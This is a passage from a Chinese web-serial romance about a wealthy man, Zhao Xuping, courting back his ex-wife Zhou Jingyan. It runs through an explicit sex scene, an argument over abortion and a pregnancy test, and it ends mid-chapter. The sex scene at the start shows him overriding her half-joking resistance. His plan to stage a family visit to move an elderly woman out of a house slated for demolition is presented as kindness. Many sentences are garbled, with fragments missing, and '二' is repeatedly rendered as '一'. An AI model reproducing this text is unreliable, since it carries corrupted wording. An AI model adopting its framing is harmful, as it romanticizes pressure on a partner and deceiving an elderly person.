她知他在装,转过身没理会,被他扳过身子,不得不平躺,故意冷着脸说:“你业余时间拍个戏吧,别浪费这么好的演技。” 赵叙平翻身而上,垂眸居高临下瞧她,神情中透着痞浪:“小丫头片子,伶牙俐齿,挺能耐啊。” 周静烟被他压着,有点儿羞,也有点儿怕,结结巴巴求他:“哥哥,你、你干嘛呀!说好的——” “哥哥演戏呢,这出戏叫‘柴房戏弄小妹妹,金风玉露化为水’。” 这人随口胡诌个戏名还能沾荤带色,周静烟不禁笑出声,又臊得厉害,板脸瞪他,凶道:“赵叙平!赶紧给我起开!” “哥哥大名是你叫的?叫了可得挨罚,数好了啊,看看今天挨几棍子。”他抬起她下巴,侧头半阖着眼瞧她。 以周静烟对他的了解,哪能不知道此棍子非彼棍子。她面颊迅速升温,扭了扭,挣了挣,被这人压得死死的,哪里逃得了,红着脸急忙提醒:“演戏也、也得是纯爱主题!” 赵叙平:“是纯爱啊。” 她羞得别过脸,手往他身上捶去:“你自个儿看看纯不纯!” 赵叙平乐了,握住她的手,往那去碰,吓得她缩手,他又拽回来放那儿。 “怎么不纯?多纯呐,妹妹。” “哪、哪里纯了?!” “很纯粹啊。” “你到底懂不懂什么叫纯爱!” “怎么不懂?纯爱纯爱,纯粹而激烈地表达爱意。” 周静烟听得发愣,气笑了,娇声骂道:“赵叙平,你个狗东西,玩儿赖!” 上面的人二两下将她扒个干干净净,轻声痞笑:“敢骂哥哥狗东西,你是头一个。那就看看哥哥这个狗东西怎么弄你。” 周静烟知道自己逃不掉,扭头看向窗户,西,把窗帘拉严实!” 赵叙平望过去,原本不想管,又想着这是一楼,保不齐被人看到,赶紧将窗帘拉得严丝合缝。 趁他下床,周静烟起身想跑,脚刚,抱着扔回来,欺身压得动弹不了。 ,凝眉瞪他,又骂了声狗东西。 这人点点头,说哥哥就是个狗东西,还是老东西,今儿让你见久便弄得周静烟失了心智,他空出来,痞笑着问,哥哥腰,什么也答不出。 他笑得越发得意,猛地抵了回去,捏着她下巴问,哥哥老不老?周静烟哪里说得出话。他挑着眉笑,眉眼间仍有那股子得意劲儿。 末了周静烟也没答出来,杏眼半睁,睫毛挂着露,白里透粉的身子微微发颤,忽地抽一下,停几秒,又抽了抽。赵叙平知道怎么回事儿,每每见她这副模样,总是喜欢得紧。 赵叙平撵着问:“哥哥老么?” 她没缓过神,目光呆滞,好一会儿才怔怔看着他,小猫似的出声:“嗯?” 赵叙平笑:“问你话呢,哥哥老不老?” 她缓缓摇头。 “说出来,不然没完。”赵叙平微挑着剑眉,威胁道。 她哪里还有力气说话,眼含着泪又摇摇头。 赵叙平搂她入怀,在她耳边轻声笑骂,说早知道小东西这么浪,十八岁就给破了,省得白等四年。周静烟缓过劲来,咬着牙捶他,怨他老早就没安好心。他坏得坦荡,笑笑说梦里弄了不知道多少回,自个儿弄的时候心里头也全是她。 周静烟没脸听,捂着耳朵钻被子里,他也钻进去,碰着床单那块地方,笑着说,艹,钱塘江涨潮怎么涨到这儿来了?周静烟羞得蒙着被子胡乱蹬腿,踹他一脚,他赶紧搂着人哄,说都是我害的,我那棍儿把钱塘江的水都搅过来了 周静烟憋得喘不上气才伸出脑袋,额头全是汗,撑着身子要下床,赵叙平问她干嘛,她白他一眼,说还能干嘛,换床单啊。 赵叙平给她套上衣服,抱到椅子上,自己忙活起来,从柜子里找了套干净床单铺好,又将脏床单放洗衣机里,最后抱她回床上,笑着问:“太晚了,明儿再给你洗床单,成么?” 周静烟故意逗他,摇头娇嗔:“现在就得洗干净。” 赵叙平长叹一声,无奈笑了笑,点头:“行,哥哥立马给你洗。”刚起身便被她抓住胳膊,赵叙平明白了,装傻:“不让去?” 她闭着眼轻叹,唇边微微漾开:“算了吧,太晚了,洗衣机很吵。” 赵叙平躺下来,抱着她说:“回头给你换个洗衣机,再买个烘干机。” 周静烟不言语,过了会儿他又说:“回去住吧,你这儿我实在住不惯。” 周静烟懒懒地开口:“住不惯自个儿回去,我家还没赵总家里别墅卫生间大,赵总住不惯很正常。” 赵叙平手臂横在她腰间,笑了:“赵总是来接媳妇的,哪能自个儿回去?” “谁是你媳妇?” “你说谁是?” “反正我不是。” “你说话不好使,我说是就是。” “才不是呢!再不要给你当媳妇!” “那给我当祖宗,成么?哎哟祖宗啊,行行好,可怜可怜我,一把年纪了,再不跟我复婚,我都快成老光棍了。” 周静烟就没见过他这么贫的,乐出声,转过去闭眼睡觉。 赵叙平也困得厉害,搂着她安心睡去,清早自然醒,见她正睡得香,自己也不想起,又睡了个回笼觉。 快中午两个人才醒,四目相对,沉默片刻,赵叙平问:“纯爱好玩儿么?” 周静烟憋着笑转身背对他,肩膀耸个不停。 他撑起身子,推了推她胳膊,低头坏笑:“问你话呢,纯爱好不好玩儿?” “不!好!玩儿!” “不好玩儿?那你昨晚嗯嗯啊啊个什么劲儿?” 周静烟不敢接话,飞快起身去柜子里找衣服,随手拿了条宽松休闲裙套上。 赵叙平打量她一番,提出建议:“要不换别的吧,这条穿着跟怀孕了似的。” 周静烟抄起枕头扔过去:“乌鸦嘴!不说话能憋死么!” 他抬手挡掉枕头,咧嘴嘚瑟起来:“咱们俩这情况,还真不好说。你吧,体质特殊,天赋异禀;我呢,技术过硬,后代顽强——哪天造出个一胎来,完全不意外。” 以前周静烟没当回事,现在想起那几次都没做措施,后怕得要命,脸色煞白,舌头开始打结:“不、不会那么倒、倒霉吧……” “倒霉?”赵叙平扬声,语气不悦,“怎么能是倒霉?分明是中彩票!” “我这话你不乐意听,你这话我也不乐意听。真要再怀上,对你来说是中彩票,对我来说,那就是倒霉。”周静烟泼完冷水,别过脸去,又补一句,“真要怀上了,我可不要。” 赵叙平脸色忽地沉下来,微侧着头,眼含薄怒:“怀都怀了,还能不要?” 她噘嘴嘟囔:“怀了也能打掉。” 赵叙平走过来,面容森冷得骇人:“你打一个试试。” 周静烟气不过,扭头冲他嚷嚷:“孩子在我肚子里,我想生就生,不想生就打掉,你管我呢!” 赵叙平眉心紧锁:“孩子是你一个人的?说打就打,怎么这么自私?” 瞧他片刻,周静烟冷笑:“口口声声说爱我,结果连生育自由权都不给我。” 他抬手一挥,别过头:“甭跟我说这权那权,就说最基本的,手术伤不伤身体?好端端的,有了就生,又不是养不起,何必作践自己?” 周静烟心里堵得慌,眼泪不争气往下淌:“说到底,你最爱的还不是孩子!既然这么爱孩子,何必纠缠我?自个儿带着孩子过呗,没我还省事儿!” 赵叙平气得不行,还想争论,一见她哭就慌了,忙搂着哄道:“这不没怀上么?咱俩吵来吵去没有意义。乖,别哭了,我给你认错。” “谁稀罕你认错!” “不稀罕我也要认。对不起,宝宝。对不起,我错了。宝宝,对不起。宝宝,我错了。” 他在她耳边跟念经似的,听得她来气,又觉得这人像唐僧,忍不住笑出来。 她一笑,赵叙平就知道没事儿了,捧着她脸颊亲了亲,替她拭泪,嘴上仍在念叨:“咱家就你一个宝宝,多的我还不要呢。” 周静烟抽泣着问:“那要是真怀上了,你也不要?” 赵叙平心想:既然没怀上,为不存在的事儿争吵纯属浪费时间。他点点头:“不要,我只要你。” 周静烟心里舒坦了,嘴上不松口:“做梦去吧!” 他笑了笑:“要是能梦见咱俩复婚,我也高兴。” 周静烟没接腔。 等他洗漱完,周静烟开始撵人:“赶紧回去,今晚不许在这儿过夜。” 赵叙平挂好自己那条毛巾,扭头冲她笑:“晚上的事儿晚上再说,我现在饿了,咱俩吃饭去。” 周静烟抱着胳膊倚在门框上:“我在家煮面对付一口,你出去吃。” 赵叙平:“那我也在家对付一口。” 周静烟歪起脑袋,笑得蔫坏:“还想吃我煮的面啊?” 赵叙平怔住,飞快摇着头:“您歇着吧,我来煮。” 周静烟长叹一声,蹙眉打量他:“真打算赖在我这不走了?” 赵叙平又摇摇头:“撵我我也不走,还没跟你腻歪够呢。” 见她转身就走,他追上去,攥住她腕子不撒手。 “等会儿,有两件事儿想求你帮忙。” 周静烟毫不犹豫拒绝:“不帮。” 他叹息一声,苦笑:“这都还没说什么事儿呢。” 周静烟:“说了也不帮。” 赵叙平掏出手机,点开微信一个聊天页面:“张哥记得吧?广城那个老板,以前咱们去广城,张哥一家招待咱们。你跟嫂子处得挺好,你还给人织过披肩。” 周静烟看了看聊天记录,大意是张哥一家前阵子原本要来京州,有事耽搁了,推迟到下周二过来。 赵叙平又说:“以前人家热情招待咱们,现在人家要来玩儿,咱们也得热情招待回去不是?” 周静烟低头想了想,说:“咱俩都离了,你招待你的,我招待我的,回头我单独联系张嫂,请他们吃饭。” 赵叙平紧锁着眉瞧她:“这怎么行,分开请算什么事儿!” 周静烟:“人家不知道咱俩离了?” 赵叙平:“知道。” 周静烟:“那咱俩一块儿请,又算什么事儿?” 赵叙平:“我跟张哥说了,咱俩因为孩子,现在处得挺好,到时候带上咱家俩孩子,和他家老大老一一起玩儿。” 周静烟愣了愣,蹙眉:“你把孩子的事儿也跟人说了?” 赵叙平笑笑:“说了,喜事儿有什么不能说。” 周静烟气得扇他:“你怎么什么都跟人说呀!” 力道不重,赵叙平压根不疼,握住她的手,腆着脸问:“手疼不疼?下回想扇我,直接跟我说,我自个儿扇,省得您手疼。” 周静烟没工夫听他耍贫嘴,瞪他一会儿,长长叹息:“所以咱俩有孩子这事儿,你那些朋友全知道了?” 赵叙平摇头:“没呢,这事儿江东铭我都没说,就告诉了张哥。” 周静烟:“你单单告诉他干嘛?” 赵叙平:“主要是想着他这回要带俩孩子来,老二太小,留在广城没来,咱家这俩正好能跟哥哥姐姐玩儿,就说了呗。这种事儿瞒不了多久,早晚大家都得知道。” 周静烟哪有他城府深,信了这个理由,没往深处想。 其实他跟张哥说这事儿,就是为了让张哥张嫂劝劝周静烟,张哥张嫂对周静烟赞赏有加,以前得知他俩离婚,还挺唏嘘,一直劝他把人追回来。 周静烟煮了一碗面,赵叙平走去厨房看了看,见她还真没给他煮,叹着气给自己煮一碗,端出来时,她已经吃完。 赵叙平独自在饭桌上吃面,心里不是滋味儿,面也煮得没滋味儿,吃了几口便放下筷子。 赖到晚上,赵叙平还不肯走,周静烟拿这人没招,戴着耳机看电视剧,眼不见心不烦。 母亲发来视频邀请,赵叙平接通就看见闺女甜甜的笑脸,忍不住咧嘴直乐。 “爸爸!”周听雨脆生生打招呼。 “听雨怎么不睡觉?”赵叙平满眼尽是温柔笑意。 周听雨:“才八点呢,睡不着!妈妈呢?” 赵叙平将镜头转向周静烟,走过去拍拍她肩膀,手机递给她:“闺女找你。” 周静烟摘掉耳机,笑眯眯看着女儿:“在爷爷奶奶家开心吗?” 周听雨:“很开心!我都不想回来了!” 周静烟:“那就多待几天,晚点儿回来也行。” 周听雨:“你跟爸爸过一人世界开心吗?” 赵叙平在旁边乐出声,凑到周静烟身旁,挤进镜头里:“你还知道什么叫一人世界!” 周听雨歪着小脑袋,笑得古灵精怪:“奶奶告诉我的,奶奶说,爸爸妈妈要过一人世界,让我和弟弟别打扰你俩,所以我现在才跟你连视频呢。” 周静烟脸色绯红,强装无事,问:“弟弟呢?” 周听雨望了望别处:“弟弟跟爷爷比赛爬楼梯呢,看谁爬得快。” 周静烟扭头,跟赵叙平面面相觑。 赵叙平皱着眉问:“奶奶呢?” 章芝纭立马伸过头来:“找我干嘛?” 赵叙平:“您让我爸悠着点儿,老胳膊老腿了,别太拼,比什么不行,干嘛非得比爬楼梯!” 章芝纭叹气:“嗐,我说他了,说不听!哎哟,咱家云生这精力,可不是一般人能比的,你小时候都比不了,上蹿下跳,跟个猴似的!你爸想着多陪他动一动,耗耗电,晚上他才睡得香,你猜怎么着?” 赵叙平想都不用想:“昨儿我爸睡得更香是吧?” 章芝纭:“别提了,昨晚你爸还想着给云生讲个故事,哄他睡觉呢,给自个儿念睡着了,云生又跑我们屋里闹,和姐姐闹到十点过才睡。” 赵叙平乐够呛:“我爸这也不是给周云生耗电,这是给他自个儿耗电啊。” 章芝纭也乐呵呵:“可不嘛,这两年他总失眠,云生一来,倒是帮忙解决了睡眠问题。” 周静烟担心起来:“阿姨,您让叔叔注意点儿,年纪大了跟孩子比不了,不能总陪孩子跑跑跳跳。” 章芝纭笑道:“我说了呀,没用!人说就当锻炼身体了,唉,我现在说什么都不好使,只有孙子孙女的话才好使。” 一旁,传来赵天成和周云生的笑声,镜头一转,周静烟看见爷孙俩正玩得不亦乐乎,倒是不爬楼梯了,改成从客厅这头跑到那头。 章芝纭做起解说来:“这游戏下午玩儿了挺久,谁先跑过去摸到窗帘算谁赢,真服了他俩,这么无聊也玩儿不腻。” 看赵天成拼命跑那样子,周静烟心惊肉跳,脱口而出:“您赶紧让爸爸停下,别摔着,他这个年纪要是摔着了,可不是小事儿!” “我说没用,得让孩子——”章芝纭忽地愣住,这才反应过来周静烟刚才说了什么,惊讶神情中藏着欣喜,扭头冲丈夫喊道,“老赵!老赵!静烟刚才说‘让爸爸停下,别摔着’!你快别跑了。” 赵天成停下脚步,没听清,章芝纭又说一遍。 这回他听清了,也听懂了,走过来凑到镜头前,擦擦头上的汗,笑道:“好嘞,我听静烟的,悠着点儿。” 周静烟意识到自己情急之下喊错称呼,见一老这么高兴,不忍心纠正,勉强笑了笑,假装没注意这事儿,叮嘱他俩好好休息,又让孩子们早些睡觉。 周静烟把手机还给赵叙平,起身去洗澡。 赵叙平跟闺女聊了会儿,又跟母亲聊了许久,挂断视频时,周静烟已经吹完头发躺下。 他冲了个澡上床,往她身边挤,笑着问:“你刚才管我爸叫什么来着?” 周静烟往旁边挪,与他隔开距离:“叔叔啊。” 她挪一点儿,赵叙平也挪一点儿,非得贴上她。 “不是,我听见了,你管我爸叫‘爸爸’。” “听见还问?问什么问!赶紧闭嘴睡觉!过去点儿行么?我都快被挤下床了!”周静烟脸上发烫,闭着眼冲他凶道。 他心里美滋滋,压根不生气,将她抱回床中间,搂着不撒手:“你管我爸叫爸,那就代表潜意识里,还认为自己是我媳妇儿。” 周静烟倏地睁眼,气冲冲瞪他:“胡说八道!才没有!” 赵叙平笑起来:“人呐,下意识的反应才是最真实的反应,周静烟,承认吧,你心里有我。” 周静烟送他一大耳帖子:“有个屁有!” 他顺势握住这只香香的手,闻了闻,拿她掌心贴脸,轻轻蹭着:“我说过,要给你一个完整的家。周静烟你记好了,这个家里,有我,有爸妈,有孩子,你再也不是一个人。” 周静烟盯着他瞧一会儿,蹙眉摇头:“我本来就不是一个人,叔叔阿姨说了,永远拿我当亲女儿,所以我有爸妈,有孩子。” 赵叙平眼眶瞬间泛红:“不需要有我呗?” 周静烟:“没你我还乐得清静!” 赵叙平搂紧她,头埋进她颈窝,哽咽:“你不需要我,我需要你。” 周静烟不语,好一会儿过去,他鼻音更重,央求道:“周静烟,我明白了,不是我给你一个家,是你得给我一个家。我求求你……求求你给我个家吧……周静烟,我想跟你有个家……周静烟,我离不了你,没你我过不下去……” 他这般卑微,周静烟觉得怪可怜,心一软,浅浅叹息,抬手轻抚着他后脑勺。 “没我过不下去?这几年不也活得好好的?没有谁离不开谁。” 他吸吸鼻子:“有,赵叙平就离不开周静烟。” “你啊……”她连声叹气,“这么大个人了,还哭鼻子。” “就哭就哭我就哭。” “噗——学你儿子学上瘾了是吧?” “周静烟,回来吧,我给你当牛做马,我成天伺候你,我把你捧在手心,我对你说数不尽的甜言蜜语……” “睡吧,别闹了。” 这人噌地坐起来,胡乱抹了把泪,仍是哭:“我他妈怎么睡得着!别人老婆孩子热炕头,我呢?郁郁寡欢喝大酒!周静烟,回来吧,就当可怜可怜我,回*来成么?只要你回来,什么我都给,命也拿去!” 沉默片刻,周静烟起身开灯,盘腿与他面对面坐着,看着这张挂满泪水的英俊脸庞,心下百感交集。 爱过他这么久,此刻周静烟难免心疼,捧起他的脸,轻轻擦去脸上泪痕。 “别哭,你多骄傲一个人呀……”周静烟轻叹。 赵叙平攥着她手腕,不住地摇头:“以前我就是太骄傲了,才让你伤透了心。原谅我,周静烟,原谅我。” 她笑了笑:“好,我原谅你。” 赵叙平赶忙抱住她:“原谅我了就回来。” 周静烟晃晃脑袋,莞尔:“先睡觉好不好?明天还要上班。” “你不答应,我就不睡。” “又耍无赖?” “我就是一彻头彻尾的无赖。” 周静烟啪地关灯,躺下盖好被子:“那我先睡了。” 男人大声吸着鼻子,哽咽得厉害:“你都不哄我。” 她气笑了,又坐起来,拍拍这张俊脸:“小公主呀,还要人哄?” “哄哄我呗,以前我也没少哄你。” 看来不哄今晚没法睡了,周静烟无奈叹息,转身抽了张纸,一边替他擦泪,一边哄道:“哭得脸皱成一团,都不帅了,当个帅哥不好么?” 赵叙平:“以前你喜欢我,是不是因为我帅?” 周静烟笑笑:“废话,别告诉我你不知道自己有多帅!” 赵叙平:“可我现在都老了。” 周静烟:“四十不到,怎么就老了?” 赵叙平:“有时候一想到自己大你五岁,我就挺没自信的。” 周静烟捂着嘴乐:“哟,赵总还有不自信的时候!” 赵叙平伸手拿来床头柜上的一包纸,擦干眼泪,擤擤鼻涕,哭完神态跟孩子没两样,红着脸看向她:“能让我不自信的人,也就只有你周静烟了。周静烟,你是独一份儿,知道么?” 她点点头:“那我大发慈悲,给你点儿自信吧——其实赵总在同龄人中,算是很显年轻了,也很帅,网上那句话怎么说来着?‘法拉利老了也还是法拉利’,赵总就算八十岁,照样帅。” 赵叙平总算咧嘴笑了,抬手摸摸她脸颊:“真的?” 周静烟睨他一眼:“你身边没女人围着打转呀?” 长成这样,还有钱,还潜力无限,她就不信没有大把女人惦记他。 赵叙平想了想,说:“还真没有,可能她们有这个心思,但是没机会。” 周静烟:“你也不想想,她们要是有机会近你身,你还能单着这么久?” 赵叙平立马摇头,紧紧拥住她:“别人我都不要,我只要你。” “知道啦,帅哥,睡吧。”周静烟叩了叩他脑门儿,看他的目光像看孩子。 他听话躺下,仍抱着她,越抱越紧,她无奈笑道:“帅哥,松开些成么?我快喘不上气了……” 赵叙平松了松手臂力道,下巴抵住她肩膀,嘴里含糊不清说一句。 “什么?”周静烟没听懂。 “我说,本帅哥这辈子一定会一婚,一婚媳妇儿一定还是你。” “闭嘴,睡觉!” 天不亮赵叙平就醒了,睁眼看了周静烟一会儿,轻轻吻了下她脸颊才起床。 怕吵醒她,赵叙平回公司洗的澡。刚分开这么点儿时间,他又想她想得心痛,站在花洒下,将水温调冷,试图让自己清醒些。 冲完冷水澡,他换上另一套衬衫西裤,随便吃几口助理送来的早餐,吩咐助理网购一个洗衣机和烘干机送周静烟那去。 十点,早会结束,赵叙平拿起手机又放下,犹豫许久,终于找到给周静烟发消息的理由,迫不及待点开微信。 赵叙平:【醒了么?有个事儿想跟你说一下】 周静烟回得挺快:【说】 赵叙平:【昨天不是说想请你帮两个忙么,只说了一个,还有另一个】 周静烟:【长话短说】 这四个字让赵叙平心脏抽疼,缓了一会儿,他才继续打字。 赵叙平:【有个项目遇到点困难,老城区那有片房子打算拆迁,别家都同意搬,就上回我跟你说的那个老太太不肯搬,我想着要不你跟孩子陪我上门演演戏,把她请去养老院住。这么大年纪,一个人住危房,太危险了。】 半晌,周静烟回:【行】 赵叙平有些惊讶:【这么干脆?】 周静烟:【见不得老人受苦,权当给自己和孩子积德了】 赵叙平松了口气,心里石头落地,唇角上扬:【帅哥谢谢你】 周静烟:【自恋狂,不要脸……】 赵叙平:【昨儿可是你一口一句“帅哥”夸我的,别不承认!】 周静烟:【我那是看你哭鼻子太可怜,稍微哄一下】 赵叙平脸上笑意止不住:【看来还是哭好使,以后得多哭】 周静烟:【有病!好好上班吧你!】 赵叙平:【遵命,谢谢媳妇儿关心】 周静烟没再理他。 他放下手机,靠着椅背,仰脸长舒一口气。 会心疼他,说明心里还有他,这怎么不算是一个好迹象?赵叙平满心欢喜,昨天哭得像个孩子,这会儿乐得像个孩子。 星期二,赵叙平亲自和司机去机场接张哥一家,一行人又从机场直接去饭店吃午饭。 车上,嫂子问起周静烟,赵叙平笑笑,说:“她跟孩子正往饭店赶呢,应该比咱们先到。” 嫂子感慨:“静烟这些年真是不容易!我有公婆,还有保姆帮忙,带二个都难受,她自己带两个,唉……你一定要好好补偿人家!” 赵叙平心里有愧,低头应道:“是,我会的,也请你俩帮我说说情。” 张哥轻拍他肩膀:“放心,你嫂子最会劝人。” 到了饭店,进包间见着周静烟,张哥和嫂子跟她一顿寒暄,四个孩子笑着玩成一片,热热闹闹的,赵叙平看得眼热,不禁鼻酸想落泪。 午饭许久才吃完,结束后,赵叙平带张哥回公司谈生意,周静烟领着嫂子和孩子们直接去隔壁商场。 商场里有个大型儿童乐园,孩子们纵情玩耍,她跟嫂子在一旁聊天。 嫂子告诉她,那条披肩这几年她总穿,爱不释手。 周静烟打算再给嫂子织一条,暗中观察着她适合什么颜色款式,听她话锋忽转:“你和叙平的事情,我们七七八八知道得差不多了。” 周静烟望着不远处蹦蹦跳跳的孩子们,脸色微红,没好意思看嫂子:“传出去怪丢人的。” 嫂子笑笑:“哎呀,这有什么!谁家家务事不是剪不断理还乱?你看,现在孩子健健康康,跟爸爸相认,多开心。叙平也醒悟了,比以前更懂得体贴人,你可以安心享福咯!” 说到这,嫂子用胳膊碰了碰她,冲她挑眉:“像叙平这么高这么帅的男人可不好找哦,看看你张哥,虽然能赚钱,对我和孩子也好,可惜才一米七,比叙平矮一大截,长得也比叙平差远了!” 周静烟笑着摇头,目光终于敢直视嫂子:“婚姻这种事,冷暖自知,哪能只看长相呀。” “看别的,叙平也拔尖呀!”嫂子掰着手指数起赵叙平优点来,“会赚钱,有魄力,学历高,性格好,而且——” 不等嫂子说完,周静烟蹙眉打断:“性格好?” 前面那些优点周静烟都认,可她实在不知道嫂子为何会觉得赵叙平性格好。 嫂子笑了笑:“要看跟谁比嘛,我们广城男人,很多都大男子主义,不拿女人当回事。听说京州男人疼老婆,我看以前叙平就很疼你,只是不好意思把爱挂在嘴边。第一次跟你们见完面,回去我对老张说,想不到你这个兄弟,平时看着脾气不太好,居然对老婆这么温柔!” 周静烟脸热,低头小声说:“也有凶的时候,吵起来也摔东西呢……” 嫂子哈哈大笑:“那你是不知道我家摔烂过多少景德镇瓷碗!” 周静烟也忍不住笑,又听嫂子说道:“人嘛,向前看最重要。趁他现在有心悔改,趁孩子还小,趁你自己还年轻,给彼此一个机会,未来说不定美好得出乎意料。” 周静烟默默看她片刻,由衷夸赞:“嫂子太会劝人了。” 她冲周静烟眨眨眼:“你就说,是不是这个道理,有没有说进你心坎里?” 周静烟埋着头不作声,心里那块坚硬的地方,却开始软下来。 张哥一家在京州待了五天,赵叙平和周静烟尽兴招待,他们玩得尽兴,临别之际,孩子们依依不舍,周听雨和张家姐姐抱着哭,周云生吵着要跟去广城。 送走张哥一家,周听雨哭了一路,到了爷爷奶奶那,被奶奶抱着哄了半晌才好。 姐弟俩留在爷爷奶奶家,赵叙平送周静烟回老城区。 路上,周静烟默默看着窗外,她不作声,赵叙平小心试探道:“其实像张哥他们这样,一家人出去玩儿也挺好,回头我叫上爸妈,咱们带着孩子旅游去。” 周静烟仍不言语。 赵叙平静下来,不敢再说什么,生怕多说多错。 日子不咸不淡过到九月。 临近孩子生日,赵叙平张罗着要办生日宴,大办特办。 周静烟不想这样,可又劝不动他,懒得再劝,只能随他去。 她这阵儿蔫蔫的,成天嗜睡,总感觉身上没劲。 赵叙平一天往父母那跑,陪陪孩子,一天往她这边跑,陪陪她。 九月五号,赵叙平瞧着她无精打采那样,越发觉得不对劲,忽然闪过一个念头,面色紧张。 “周静烟,你是不是怀孕了?” 第63章 第63章【VIP】 此时周静烟躺在卧室床上,窗帘打开一半,午后阳光洒满全身,暖烘烘,晒得她很舒服。 赵叙平的话如同一盆冷水泼来,瞬间让她心脏紧缩,浑身紧绷。 她坐起来,才发现自已后背出了冷汗,撑着身子要下床,腿一软差点摔倒,被赵叙平抱住。 “怎么了这是?”赵叙平抱她回床上,四目相对,两个人脸色都不好看。 “软……没力气……”她深呼吸,摇摇头,怨道,“都怪你吓我!不许乌鸦嘴。” 赵叙平沉着脸看她一会儿,忽然打横捞起她。 “哎你——你干嘛呀!”周静烟吓得惊呼,挣扎都是软绵绵的。 赵叙平:“不行,得去检查一下,怀孕了就好好养胎,没怀孕也正好看看是不是别的问题。” “我不去!我不检查!”她心里怕得紧,拼命摇头,眼里充满恐惧。 赵叙平又急又气:“不检查就代表不存在?逃避能解决问题么,周静烟?咱都这个岁数了,能不能成熟点儿?” “不去不去就不去!”她在他怀里耍赖,脸埋进宽厚的胸膛,身子不住地发颤。 赵叙平拿她没招,气得发笑,又将她放回床上,俯身亲亲她,哄道:“我去买验孕棒,咱们自已先在家验一验。” “不要!” “乖,躺好了,不许乱动,我马上回来。” 起身前,赵叙平又亲她一口。 赵叙平离开这阵子,周静烟坐起来,虚软无力靠在床头,呆呆望向紧闭的卧室门,心里像被千斤重的石头压着,脑子一团乱麻,毫无头绪,整个人被无形的恐惧侵扰,害怕得几乎窒息。 赵叙平拎着药店塑料袋回来,见她屈膝而坐,瑟缩着抱住自已,心疼得厉害,赶忙放下袋子,坐在床沿抱住她。 “怕?”他柔声问。 周静烟麻木地点点头。 “别怕,我在。”赵叙平额头抵住她额头,“这次我会一直在。如果怀上了,我陪你养胎,陪你生孩子,陪你坐月子,陪你把这个小崽子养大;如果没怀上,有病我陪你治病,没病我陪你高兴。” 周静烟在他怀里颤抖着哭泣,起先咬牙不愿哭出声,后来索性放声大哭。 哭了不知多久,她带着很重的鼻音开口:“赵叙平,我不想生。” “先验一验成么?别想这么多,怀没怀还不一定呢。”他心里忐忑,耐着性子捧起她的脸,用指腹轻柔拭去脸上泪珠。 赵叙平拆开一根验孕棒包装,递给她:“说是不用晨尿也行,但晨尿最准。管不了那么多了,先去验吧。” 他扶着周静烟进卫生间,在外头焦灼不安等待,每分每秒都过得煎熬,不时地看表,好不容易过去五分钟,迫不及待问:“怎么样?” 周静烟在里头说:“再等等。” 又等了几分钟,赵叙平敲敲门:“几道杠?” 里头不吱声。 赵叙平等不及了,自已开门进去,见周静烟站在马桶前,手里握着验孕棒,脸色煞白如纸。 他箭步冲过去,从她手里抽走验孕棒,定睛一看,上面一深一浅两道杠。 说明书上说,这种结果一般是早孕。 一时间各种情绪涌上来,赵叙平脑袋发晕,怕自已记错,转身回卧室找到包装盒,又看一遍说明。 跟他记的没差。 周静烟行尸走肉般从卫生间出来,赵叙平迎过去,细瞧才发现她额头上全是冷汗。 他拥她入怀,温柔替她擦去细细密密的冷汗。 “你先休息,等会儿咱们上医院做个检查。” 周静烟摇着头不作声。 “那明早再验一次,然后上医院。” 周静烟仰脸,泛红的眼眶涌出泪水,撇撇嘴,开口便哭出来:“我不想生……” 赵叙平抱着她在沙发上坐下,耐着性子问:“为什么?是怕疼,还是怎么着?” 她摇摇头:“不想再跟你纠缠不清。” 赵叙平心痛难耐,沉默着倒抽凉气,片刻后轻声说:“听话,先去医院检查。” “体检也得等明天……” “那我陪你一起等明天。” 周静烟又不作声了,头靠在他怀里,半睁着眼,目光空洞茫然。 他抱着她亲了哄,哄了亲,来电话也不接。 那头几次三番打来,周静烟怕人家找他有急事,抢过手机给他接了。 下间,问他要不要改成视频会议,他这才想起还有个会要开。 这关头哄人要紧,午,挂断电话直接关机。 周静烟看不过去:“干嘛呀,真要出事儿,人家怎么找你?” 赵叙平笑笑:在你最重要,我得专心陪你。” 我看你是想专心陪孩子。” 赵叙平乐出声:“有没有还不一定呢。” 周静烟叹气,心想,验孕棒上显示两道杠,八成是有了。 越想越生气,她冷不丁给他两拳,眼泪又开始往下掉。 “都怨你都怨你!”她哭得上气不接下气。 赵叙平忙不迭点头:“怨我怨我,我不是人,我王八蛋。” 周静烟抽抽两声,问:“真要怀了,你是不是特高兴?” “那——”赵叙平正想说那是肯定,怕她伤心,立马改口,“那也不一定,多个孩子多份责任,那俩都够我受了,再来一个,真是吃不消!” 周静烟仔细瞧着他,发现他嘴上这么说,脸上笑意却止不住,冷哼一声,咬咬唇,别过脸去:“虚伪!其实心里早就乐坏了!” “哪有。”赵叙平声音带着笑,嘴都合不拢。 周静烟气不过,又捶他一下,想起身,被他搂紧,压根下不来,没好气开口:“撒开,我要去睡觉。” “还睡啊?”赵叙平看看时钟,暗自算了算,她现在一天至少睡十二个小时,手背贴上她额头,叹了口气,抱她回卧室休息。 周静烟心里正难受,却没耽误睡觉,一会儿就睡着。 他在床边守了她几分钟,等她睡熟才出去,轻轻关上门,走到阳台给母亲打电话。 “妈,您怀孕那会儿,是不是成天睡觉?”那边刚一接通,他迫不及待问道。 “也没有成天睡,不过确实挺能睡的,一天得睡十个点儿吧。”章芝纭顿住,纳闷,“你问这个干嘛?” 没检查出结果,赵叙平不好跟母亲说,敷衍道:“随便问问。” 章芝纭忽然察觉到什么,惊讶:“静烟又怀孕了?” “没呢。” “那你干嘛特意打电话来问这个?” “都说了,随便问问,行了,您休息吧。” “哎你等会儿!”章芝纭心脏跳得飞快,想着周静烟八成是又怀上了,否则儿子怎么莫名其妙打这个电话? “干嘛?”赵叙平怕母亲追问,故作不耐烦,想赶紧挂断。 “我怀孕会嗜睡,还吐得厉害,假如——我是说假如,假如静烟真怀上了,你可得留意,看她吃什么吐,吃什么不吐,要是吐得厉害,必须上医院!” “知道了。” “你跟妈说句实话,静烟到底是不是有了?” 赵叙平知道母亲已经察觉出来,瞒也瞒不住,浅叹一声,坦白:“她这阵儿太能睡,又没什么精神,我瞧着不对劲,买验孕棒让她验了一下,现在应该是早孕。” 那头大声叫道:“哎哟,真的?那可太好了!太好了!” 赵叙平心里也这么想,嘴上劝道:“您先别高兴得太早,验孕棒不一定准,具体什么情况,还得明天上医院查了才知道。” 章芝纭笑声传过来:“现在验孕棒准确率很高,哎哟,八成是有了!静烟肚子可太争气了!” 赵叙平沉默片刻,语气几分伤感:“真要是怀了,静烟也不想要。” 章芝纭一愣:“干嘛不要?” 赵叙平:“她说不想再跟我纠缠不清。” 